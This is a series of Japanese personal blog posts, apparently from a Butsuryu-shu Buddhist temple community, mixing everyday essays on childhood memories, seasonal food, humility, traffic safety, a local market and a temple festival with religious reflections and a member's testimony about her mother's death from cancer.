さらば青春の光

青春というのは大げさなのですが、思い出話を一つ。

2015年2月1日、渋谷にある「こどもの城」が閉館いたします。渋谷は青山にある、イメージ的には大きな大きな児童館。この「こどもの城」が、30年の歴史にピリオドをうち、閉館することとなりました。

何年か前から、施設維持が困難な為に閉館になる、という話は耳にしていたのですが、実際に閉館するとなるとなんだか感慨深いものがあるわけで。思い起こせば、小学生の時代、父親に連れて行って貰った記憶がよみがえります。

小さい頃から児童館が大好きで、地元の児童館にも入り浸っていた私です。もちろん、「こどもの城」に連れて行かれて、大喜びしないわけがありません。特に楽しみだったのが、「ビデオライブラリー」というコーナーで、ここでは数多くのビデオを視聴することができます。

今ではインターネットで映画を楽しめる時代ですが、30年前はまだビデオレンタルも余り普及していませんでした。TSU○AY○なんてなかったですもの(笑)テレビで放送される機会のないもの、レンタルビデオ店に入りづらいものも沢山ありました。

ビデオソフトが1万円を軽く越える時代、子供達にとっては夢の施設であったに違いありません。ちなみに、私が一番覚えているビデオは、「マジンガー○」です(笑)もちろん、身体を使って遊べるコーナーや、工作のコーナー、楽器で遊べるコーナーなどなど、その他の施設も盛りだくさん。

子供達の知育・体育にはもってこいの「こどもの城」です。無くなってしまうと聞いて、いてもたってもいられず…数十年ぶりに、行ってきました(笑)

いやはや、おかわりなく!!大人になった現在でも、「ああ、子供だったら、じっとしていられないな」と思わされること多々。というか、他人の視線が無ければ遊びに参加したいくらいでしたわ(笑)

ちなみに、同行した我が家の王子様は、閉館時間となって帰らざるを得なくなりましたら、大号泣してくれました(笑)

今の時代には、アナクロなのかもしれません。全てがデジタルになる時代の流れなのかもしれません。しかし、良いものは良い。書籍が全てデジタルにならないように、紙とペンが無くならないように、不朽のものも確かにあるのではないでしょうか。惜しい、実に惜しい。

されど、30年間、おつかれさまでした!「こどもの城」に育てられた子供が、今、大人になって、心からの感謝を贈ります。

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時期相応

子供の頃に比べて、今は四季を問わず、野菜や果物が一年中手に入るようになりました。昔でしたら、「○○は春が旬だから」「秋と言えば○○でしょう!」といった季節毎の風物詩というか、旬の食べ物を楽しむという季節感がありました。

ですが、それは本当に便利で有難いことなのでしょうか?

たとえばスイカ。子供の頃は、夏が本当に楽しみで、甘くて瑞々しくて美味しくて、心待ちにしていたものです。しかし今は、多少季節はずれていても、スイカは手に入ります。売っている場所は限られていますし、値段も張りますけれど。

ですが、本来の季節を外したスイカ、実はそれほど美味しくありません。むせかえるような甘い香りも、とろけるような甘さも、ありません。ただ、「種別:スイカ」というものを食べるようなもので、そこには感動もありません。

人の欲望が、自然本来の生態をねじ曲げ、人の都合のよいように作り替えていく。その結果が、季節外れの美味しくないスイカ、なのではないでしょうか。

たしかに果物でも、種が無ければ、皮ごと食べられるようになれば、楽で便利かもしれません。ですが、それは本当に良いことでしょうか?人は、自然本来の恵みを享受すれば良い、そう思えてしかたがないのです。

 時期相応。

 私たちのいただく御題目口唱の佛立信心も同じです。末法愚鈍の私たちには、南無妙法蓮華経の御題目様以外は適さず、他の教えは誤りとなります。赤ちゃんの口にお乳をあげなければならないように、ステーキを放り込んではダメなのです。それを、人の都合の良い解釈でねじ曲げてはならないということです。

便利だから、楽だから、そのような感情から変わっていった事は沢山あると思います。しかし、人が手に入れたのは良いことばかりだったでしょうか。安易な方向に流れるだけでは、本当に必要な事柄を見失ってしまうということもあるのだと。私たちは見直していかなければならないこともあるのではないでしょうか?

 …とか言いつつ、私は昔からブドウは巨峰よりデラウェア派なのですが、ね(笑)

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我が身をくだりて

人間の悪いところの中に、ちっぽけなプライドにこだわる、というところがあります。人から施しを受けることを恥と思い、人に頭を下げることを恥と思い、素直になれない気持ちです。

個人個人は、それを「わたしにもプライドがある」と思っているのだとは思います。しかし、「プライド」とは、なんなのでしょうか。おそらく、人が「わたしにもプライドがある」と口にした時には、次の二通りのパターンがあると思います。

①自分には譲れないものがある。その誇りを踏みにじられるワケにはいかない。
②オマエごときに何か言われる筋合いはない。

いかがでしょうか。この二通りのパターンですと、圧倒的に後者の方が多いのではないでしょうか。

会話の最中に激高する人がいたとして、その人が怒ったその理由とは、得てして自分の主義主張を否定されたり、相手から下に見られたと感じたときなのではないでしょうか。

人は、自分の思い通りに物事をはこびたいものです。それに対してケチがつくと、激しく怒りだします。それは、自分のプライド、尊厳が傷つけられたと感じるからです。

なぜなら、人は、己の我を通すことをイコール自分の尊厳、プライドだと思い込んでいるからです。しかし、我を通すことと、尊厳を護る事は、けしてイコールではないのです。

これは、私が学生時代の頃の話です。後輩に、いつもニコニコしていて、その場でなにか揉めそうになると「ごめんねー」と口にしてペコペコ頭を下げる子がいました。彼が怒ったところは一度もみたことなく、若造だった当時の私から見ると、ヘコヘコした奴だなーという印象でした。

ある日、学生同士の飲み会の席で、酒の勢いか彼に対して、「お前、いっつもヘコヘコしてて、プライドってもんは無いのか?」と聞いてしまったことがあります。すると彼は、真顔になってこう言いました。

「自分の頭ひとつ下げて物事まるくおさまるなら、安いもんじゃないですか?」

私は、酔っていた頭が急に醒めた思いがしました。彼にとって、自分の頭を下げる、人に対して「ごめんね」と口にすることなど、プライドが傷つくことではなかったのです。つまり、彼にとってのプライドとは、その場の和を保つこと、物事を進行させることにあったのです。

とたんに、彼に対しての印象が180度かわりました。ヘコヘコと情けない奴から、大局的に物事をとらえるすごい奴、に変わったのです。 

佛立開導日扇聖人の御指南に、「我が身をくだりて 人をたて 徳は人にゆずりて 苦労は我に引きうくるようにするを本因妙と申候」とお示しです。

自分の身を差し置いてでも、他人を尊重して、功徳を回し向かわそうと願う。その為の苦労ならば進んで引き受けようとご奉公に励むことが、本因妙=御仏のなさった御仏になる為の修行なのであるとお教えくだされます。

私たちにとって、他人を屈服させて、自分の我を通す事があたかも自分の尊厳となるように思いがちです。しかし、本当の尊厳とは、たとえ自分の頭を下げようとも、他人を優先しようとも、一つの物事を成就させることにあります。

偉ぶりたいことが尊厳では無いのです。なかなかに、難しい事だと思います。人間、そうそう人に物事を譲って、自分を後に回して遂行するということは、できません。ですが、世の中でも偉大だと思われる人は、どこかしら自分を後に回しても、世の為人の為にと努力した人が圧倒的に多いのです。

目先の小さな物事、こと自分が「プライド」と思っていることは、果たしてそんなにも重大なものでしょうか?「俺がさ-、俺なんかさ-、俺に言わせりゃさー」なんて口にしている人がいて、楽しいのは本人だけで周りは呆れているものです。

それよりも、もっと大きなこと。自分を生かす為には周囲の人を生かさなければならない。自分が楽しみたいならば、その楽しみを人とも共有できなければ本当の楽しみにはならない。

その先にこそ、本当の楽しみ、喜びはあるのです。お互いは、心の底から笑い合える、そんな人や状況の中に身を置きたいものですね。その為に我をへし折って、物事を進められることを、「プライド」と呼ぶのだと思います。

最後に、ある漫画からですが、心に残った一言を。

「人のために、っていうのは、クセになるね」

 
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命は大事にしましょう

最近、毎日同じ通りを車で走っているのですが、人も、二輪車も、車も、交通法規が守られていないなと痛感しています。

自転車「信号をまもらない」
停止線をまもらない」
「すり抜け運転をする」
スピードの出し過ぎ」
「スピードの出さな過ぎ」
見切り発車」
「逆走」
駐車禁止区域無視」
無謀な車道の横断」 

などなどなど、挙げたらきりが無いのですが。特に、車の運転手の目線から言いますと、すり抜け運転が本当にコワイです。

以前、横断歩道に路上駐車している車を避けて信号待ちをしていた時です。ピストレーサーに乗った人が、私の車と路駐の車の間をすり抜けようとしたのですが、幅が狭かった為に不可能でした。というか、自転車も軽車両なのですから車と同じく信号待ちをしなければならないはずなのですが…

その人のとった行動は「私と路駐の車の横っ腹を蹴り飛ばして反対車線に飛び出して、更に信号無視して走って行った」というものでした。唖然としてしまいました。ちなみに、同じシチュエーションで車を蹴られた・叩かれた事が後2回ほどあります。

なぜ、あのような行動をしたのか、私にはわかりません。しかし、車に攻撃された以上に、すり抜け運転していたことと、さらに信号無視して横断歩道の歩行者に危険な行動をしたことを、ただただ恐ろしく思いました。

あの大震災以来、自転車乗りは増えたと思います。たしかに、便利です、自転車。しかし、道具というものはただ便利なだけでは無く、必ずマイナスの面も持ち合わせています。自転車で言うならば、「充分に人を殺せる道具と成り得る」ということです。

しかし、大多数のユーザーはそのことを自覚していないと思います。そして、
「危険な運転をすればその果てに必ず自分への危険が待ち受けている」
と言うことです。

これは、自転車に限らず、全ての乗り物にも言えますが。急ぎたいから、すり抜ける。待ちたくないから、信号無視してでも先に行く。そんな短絡的な考えの果てにあるのは、自分と他人を巻き込んだ交通事故しか有り得ないのです。

しかし、多くの人たちは、「いやいや、それは有り得るだろうけれど、私は平気だ」と簡単に考えているのではないでしょうか。

昔、とある漫画で、ライバルと戦う主人公が一方的にやらてしまい、そのライバルに投げかけられた言葉に、「おまえ、もしかしてまだ、自分が死なないとでも思ってるんじゃないかね?」というものがあります。

主人公は、戦いの中の現実をしっかりと見極めておらず、自分が勝てると信じている。その認識の甘さを、ライバルに突きつけられた、という台詞です。路上で歩く、走る、全ての人に問いかけたい事ですね。「どんな行動をしても、もしかして自分が死なないとでも思ってるんじゃないかね?」と

人間は、いつ何時なにがあるか解らない、一寸先は闇の人生を歩んでいるものです。だからこそ、「こんなはずじゃなかった…」なんて無責任な台詞を良く口にします。しかし、やはり未来のことは誰にも解らないことです。

だからこそ、「自分が危ないと思う行動は慎むようにする」「周囲を危険に巻き込むような行動も慎むようにする」ようにして、自分も、人も、お互いを大切にして尊重し合わなければなりません。そうすることで、お互いの大切な命を失わないように気をつけなければなりません。 

自分の行いが、周囲と自分にどのような影響を及ぼすのか、よく考えることが大切です。勝手な行いで傷つく人を見るのは、それはそれは嫌なものですよ?恨みや憎しみを生み出さないように、気持ちよくおでかけをいたしましょう!

最後に、先ほどのライバルキャラが言った台詞をもう一つ…
「今のおまえに足りないものがある …危機感だ」
何の漫画かわかった方は、教えてくださいねーw

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元気に挨拶

先日、本屋さんに出かけた時のことです。小さい子供が泣いているのを見かけました。すると、近くにいた別の子供が、「だいじょーぶ? どしたの?」と話しかけていました。

程なく、泣いていた子供は泣き止み、話しかけた子供と一緒に絵本を読み始め、いつしか二人してキャッキャと笑い合っていました。

別の日の事です。

こども

 

お寺にお参りしておりましたら、やはり小さな子供が、「ありがとーごじゃーます!ありがとーごじゃーます!」と、通りすがった人たち全員に、元気な声でご挨拶をしていました。

子供達を見て思います。物怖じせず、誰にでも声をかけ交われるって、すごいことなんだな、と。

大人だったら、どうだったでしょう。泣いている人や、苦しんでいる人がいたら、声をかけられるでしょうか。見ず知らずの人に、笑顔で挨拶できるでしょうか。

あまり、できませんよね。年を取ると、いつしか恥や外聞というものを気にし始めてしまい、普通にすればいいことが出来なくなります。

苦しんでいる人がいたとしても、
「その人それぞれの事情があるのだから…」
「トラブルだったら巻き込まれたくないから…」
なんて打算的に考えてしまいます。

挨拶をすること一つにとっても、知っている人ならともかく、知らない人とは素通りです。大人になって分別が出来るようになっただけ。取捨選択をするようになっただけ。なんとでも言えるでしょうけれど。

信者として物を考えるならば、躊躇することはマイナスでしかありえません。御題目様を、自分自身でもしっかりとお唱えし、人にもオススメして共に功徳を積み、御利益をいただこうというのが佛立信者の信心修行であります。

ですから、自分は何とでも頑張れるけれど、人様に声をかけるのやチョット…と言っていては、私たちの修行は成り立ちません。むしろ、困っている人に程、積極的にお声がけして、共にご信心の道を歩みましょう、とオススメして救って差し上げることが菩薩の修行でありますから、躊躇してる間は無いはずなのです。

泣いている子供を見れば、同じ子供が見て見ぬふりをせずに慰めるように。知っている人も知らない人も、誰にでも元気にご挨拶できるように。子供のその物怖じしない、迷わない心というものを、むしろ大人が見習い、取り戻さなければならないように思います。

誰だって、無視されるよりは元気な挨拶が嬉しいに決まってます。たとえ、相手に「ハァ?」と反応されても、知らんぷりはダメです。何度でも繰り返し挨拶できていれば、そのうち必ず相手からも返事は返ってくるようになります。

自信と勇気と誇りを持って、躊躇わずに「ありがとうございます!」と子供のように元気にご挨拶できることの大事。そんな素直な心根を持たせていただくことが大事なんだな、と、小さな子供に教わった気持ちであります。

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変わらずに在る物

先日、外を歩いていましたら、公園を通りかかりました。そこで目にしたのが、木登りをしている子供達。ああ、今の子供達も木登りをして遊ぶんだなーなんて思ったのですが…

よく見たら、木の上で携帯ゲーム機で遊んでました(笑)君たちは、アウトドア派なのか、インドア派なのか、どっちだ!?(笑)

チャンバラごっこそしてまた別の日なのですが、今度は木の枝でチャンバラごっこをしている親子を見かけまして。

おー、時代劇は廃れても、やっぱりチャンバラは不滅だなーと思って見てましたら…お母さんと娘さんでした(笑)女性剣士ですよ!!

男女区別の趣味はないのですが、私の子供の頃にチャンバラといえば男子の遊びで、女子からはよく「男子、野蛮!」なんて言われてたものです。


時が流れれば、変わっていくものがあって当然ですが、変わらずに在る物があるのもまた真実です。
さて、私達のご信心においては、いかがでしょうか。

お寺のスタイルや、ご奉公の在り方など、御開講の時から様変わりしてる部分も沢山あります。しかし、一貫して変わらないこと。それは、上行所伝の御題目口唱の信心修行と、謗法を責めること。

本山の御宝前の左右には、「呵責謗法 当宗持戒 一向令唱 此経本意」という文字が刻まれています。謗法を責める事が、私達の持戒。 御題目をお唱えすることこそが、この御経の本意である。このポイントを外してしまっては、私達の信行ご奉公は成立いたしません。

ご信者さんの中には、「佛立宗は謗法だお看経だと、厳しく言い過ぎなんじゃないですか?もっとリベラルになったほうが、現代人に通用する信心になるんじゃないですか?」なんておっしゃる方もいらっしゃいます。

しかし、時代に迎合して変えていくべき部分と、何があっても絶対に変えてはならないことがあるということを、私達は知っておかなくてないけないのです。

自分の幸福を願い、人とも笑って過ごせる明日を願う。そのためにこそ、佛立宗のご信心はあります。そして、その御利益を頂戴する為の信心修行は、いつの時代もけして変わることはありません。

ゲームに夢中になって木から落ちない為にも、チャンバラで怪我をしないためにも、お互いは毎日御題目をお唱えして、お護りをいただけるようにいたしましょうね☆

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1月16日、世田谷ボロ市に行ってきました!

世田谷線の上町駅を降りると、すぐに出店が見え始めます。乗泉寺世田谷別院から歩いても15分くらいです。

今回の記事を書くに当たってちょっと調べてみたのですが、ボロ市って1578年(天正6年)に北条氏政が開いた楽市が始まりで、400年以上の歴史のあるものだったんですね!ビックリ! 

余談ですが、4年後の天正10年には織田信長が本能寺でたおれています。北条氏政よりも織田信長のほうがピンとくるかなと思いまして、つまりはそれくらい昔々から続いているっていう市なのですw

さてさて、肝心のボロ市レビューなのですが!!
…実は昼間ご奉公がありまして、会場に到着したのが夕方6時過ぎ…最終日の終了2時間前という、とてもナイスなシチュエーションです!!w

というわけで、一番の目玉であろう、「代官餅」はとっくの昔に完売です!!むしろ、店じまい始めちゃってる気の早い出店者もちらほらいらっしゃいました!!まぁ、私はいつも、出店の食べ物をパクつくために行くので、痛くも痒くもないのですがw

というわけで! 今回私が会場で食べた美味しいものを紹介しちゃいます!まずは、私にとって、これが無いと始まらないし終われない、「じゃがバタ」さんです!

じゃがバタ
どうですか、美味しそうでしょ?美味しいですよ!
一時はじゃがバタの出店だけでも数カ所あったくらいの人気メニューなのですが、ここ数年は1カ所でしか見ませんでした。

…実はこのお店、数年前にキタアカリでじゃがバタ出してて最高に美味しかったのですが、採算とれなかったのか普通のジャガイモでしたw

でも、十分美味しいんですけどね☆

 

 続きまして、前回(昨年末)買ってみて美味しかったのでリピート、「海苔団子」です!

海苔団子
一緒に売ってるぜんざいに入れるのと同じ白玉団子を使っているみたいでしたが、お醤油を塗って刻み海苔をたっぷりまぶしてあって、とても美味しかったです♪

白玉の甘味とお醤油のしょっぱ味、そして海苔の香りがマッチしてました。残念だったのは、持ち帰りで買ってしまったので、作り置きの冷めたのを渡されたことですw

 


そして、お次はこれ!! 

山賊焼き
ハムやらソーセージやらウィンナーやらの詰め合わせっ!
その名も、「山賊焼き」です!!

いろいろな種類の味が楽しめて、とっても美味しいし、飲める人ならビールのお供に最高だと思われます、ゲルマン民族になったつもりで!w

他にも、甘酒とかクラムチャウダーとか味噌団子とか、美味しいものいっぱいあったんですけど、文字数の関係で割愛いたしますw 

 

最後にご紹介するのが、こちら… 

玉こんにゃく山形名物、玉こんにゃくです!
これは美味しいっ!!!よーく味のしみたこんにゃくに、カラシをちょっとだけトッピング…プリプリした歯ごたえがなんともたまりません!!


…すみません、すぐに飛びついちゃって写真撮るの忘れてました!

最後一口で写真を思い出すくらい、まっしぐらに飛びつきたい美味しさってことですよ!?www

 

さて、書こうと思えばいくらでも書けるのですが、まとまりが無くなるのでこの辺りで筆を置きますが、ボロ市は、伝統はすごいですが要はフリーマーケットです。中には戦前の教科書とか、今は使われてないような農機具とかも実際に売ってたりします。

最近だとゲームソフトやトレーディングカードなども売っていて、時代の流れに即している部分と、守り続けられている伝統という部分とか共存しているイベントだと感じます。 

毎年1月と12月の、15日と16日の計4日間の開催です。乗泉寺世田谷別院へのお参りの帰り道、ちょっと寄り道してみてはいかがでしょうか♪

 

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別院の夏、開催間近です!!!

いよいよ、乗泉寺世田谷別院にて「第18回 納涼祭」が開催されます!!!
8月の3日、午後1時から7時まで、スタッフ&店舗一同、ご来場をお待ちしております☆

さて、今回の納涼祭でも、「東日本大震災 復興支援」をメインテーマに掲げております。昨年の反省を踏まえて、今回は支援ブースの設立と、現地特産品の物販コーナーをご用意しております。また、支援ブースには復興支援募金コーナーのご用意もございます。皆様方の応援をお待ちしております。

今回の注目ポイントは、「パネル展示」と「のりうどん」、ですっ!!!

「パネル展示」は、被災直後の写真と約2年半が経過した現在の写真などが展示されます。まだまだ復興には程遠い現状を多くの方ににご覧いただき、被災地に生きる人達のことを忘れず、支援する想いを持ち続けていただけたらと思います。

次に「のりうどん」ですが、これは宮城県の東松島市の新名物で、海苔が練り込まれ一見、そばにも見える「うどん」です。東松島で採れる海苔は、その品質の高さで有名で皇室にも献上されたほどで、そばを口に運ぶと薫り高い磯の香りが口に広がり、ほんのり塩味を感じ、食感は、しっかりとした歯ごたえと、つるっとした喉ごしだそうです。

海苔には鉄分やカルシウムなどのミネラルが豊富に含まれていますから、特に女性にお勧めです。

この「のりうどん」は、10年ほど前から構想があり、納涼祭に御協力いただける「ちゃんこ萩の井」の社長(元力士)も当初から開発に関わっていたひとりとのこと。

のりうどんまもなく商品化と思っていた所に、震災に見舞われ、海苔がすべて流失してしまい、浜の再生は不可能だと思われるほどの壊滅的な被害でした。

しかし、関係者の想いは強く、復活した浜で昨年11月に採れたばかりの海苔を利用して、今年3月からようやく販売されることになりました。

ちゃんこ萩の井は、朝青龍・白鳳・岩下志麻・西田敏行などの多くの著名人が訪れ絶賛。

沢山のご来場、心よりお待ちいたしておりまーす♪♪♪

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御法様にお任せしているからこそ

ありがとうございます。私が目の当たりにした御利益談、亡き母のお話させていただきます。私の母は平成15年に亡くなりました。

当時、母は年2回の健康診断を受けていたのですが、その半年に1回という短い期間の間に胃ガンを患い、発見した時にはほぼ末期癌の状態でした。胃の全摘出の手術を受けたのですが、その時には腹膜に転移が見られ手が着けられず、結局は胃の摘出以外の癌はそのままにお腹を閉じた程でした。

医者には一縷の望みに託してと、抗ガン剤や放射線の治療を教わりましたが、結局言われた言葉は「年単位の予定は立てないで下さい」、早い話が余命半年とのことです。胃を全摘出した上で、抗ガン剤や放射線治療の副作用、他人から見たらどれ程辛く、苦しい日常かと思うことでしょう。

しかし、当の本人の日常は、変わらず朝参詣し、法鼓を叩き、日中は御信者方々と談笑し、病気の方がいると聞けば駆けつけて、「私も頑張ってるから、一緒に頑張りましょう。御法様がついていてくださるからね」と励ましていたもので、およそ死の宣告を受けた人間とは到底思えない様子で、検診の度に担当の医者からは「あなたがこうして目の前にいること自体が奇跡なんですよ」と言われる程でした。

そして、最期の時を迎えるまで実に三年余り、医者の見立などどこへやらという増益寿命の御利益をまざまざと見せてくれました。 臨終に際しましても、医者からは「癌細胞が内臓を食い破ってお腹の中は滅茶苦茶です、おそらく想像を絶する痛みでしょう」と言われましても、当の本人は駆けつけてくれた方々とお喋りをするか、気持ちよさそうにいびきをかいて寝ているかでありました。

なにより、呼吸がとまる瞬間、私の目の前で、微笑みすら浮かべているかのような安らかな寝顔で、寂光へと旅だって行きました。周りの人は、あの人は強いから気丈に振る舞えたと言いました。違います。たしかに、痛い苦しい嫌だ死にたくないと、人前で泣いて取り乱したことは無いと思いますが、夜、家族が寝静まった後、一人小さく肩を振るわせているのを私は何度も見ています。

しかし、それを人に見せなかった、強いと感じさせていたのは全て、母のいただいた御利益に他ならないと、今は思えます。ある日、死ぬのが怖くないのかと尋ねた私に母が語った言葉は、「御法様に、おまかせしてるから。お母さんはね、生きていたいから」

身も心も全て、御法様にお任せしているからこそ、死を目の前にしていても取り乱す事が無い。何より、無駄に嘆く時間を惜しみ、信行ご奉公させていただけたならば、必ずおはからいをいただけると心から信じているからこその「生きていたい」の一言です。

死にたくないと、生きていたいは、同じに思えますが全く違う、前向きと後ろ向きの絶対の違いがあります。弱い人間だとしても、ご信心をさせていただくことで強くなれる。どれ程辛い状況だとしても、ご奉公させていただこうと思えばこそ、苦痛も悩みも取り払い、前へと進む勇気と力を与えていただけるということを、母は信者としての生き様をもって、私に諭してくれました。

たとえ苦難の後に最期を迎えたとしても、安らかな臨終の相を浮かべて、笑って寂光参拝へと旅立つことができるのだと、佛立信者だけが辿り着ける境地を見せて、信者の家に生まれながらも信心不肖の大馬鹿者だった当時の私に、ご信心の道が何と有難く尊いものかを指し示してくれた、母の臨終に際しての御利益談でございます。ありがとうございます。 

御教歌   

しぬること おそれぬ身とぞ 成にける 妙のみのりを 聞そめしより

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